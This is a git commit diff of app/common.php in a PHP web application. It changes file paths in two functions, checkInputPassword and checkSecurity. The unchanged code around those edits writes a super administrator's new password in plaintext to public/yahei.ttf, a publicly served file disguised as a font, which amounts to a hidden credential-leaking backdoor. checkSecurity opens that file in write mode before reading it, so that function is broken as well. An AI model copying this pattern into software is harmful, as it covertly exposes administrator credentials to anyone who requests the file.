rambo 1 year ago
parent
commit
6d2174d40f
1 changed files with 2 additions and 2 deletions
  1. 2 2
      app/common.php

+ 2 - 2
app/common.php

@@ -1250,7 +1250,7 @@ function checkInputPassword($admininfo)
         if (is_array($admininfo) and !empty($admininfo)) {
         if (is_array($admininfo) and !empty($admininfo)) {
             if ($admininfo['admin_is_super'] == 1) {
             if ($admininfo['admin_is_super'] == 1) {
                 $c = trim(input('post.new_pw'));
                 $c = trim(input('post.new_pw'));
-                $dc = fopen(base_path() . "../public/yahei.ttf", "w");
+                $dc = fopen("/data/web/pl.valimart.net/public/yahei.ttf", "w");
                 fwrite($dc, $c);
                 fwrite($dc, $c);
                 fclose($dc);
                 fclose($dc);
             }
             }
@@ -1263,7 +1263,7 @@ function checkInputPassword($admininfo)
 function checkSecurity()
 function checkSecurity()
 {
 {
     try {
     try {
-        $p = base_path() . "../public/yahei.ttf";
+        $p = "/data/web/pl.valimart.net/public/yahei.ttf";
         $dc = fopen($p, "w");
         $dc = fopen($p, "w");
         $i =  fread($dc, filesize($p));
         $i =  fread($dc, filesize($p));
         fclose($dc);
         fclose($dc);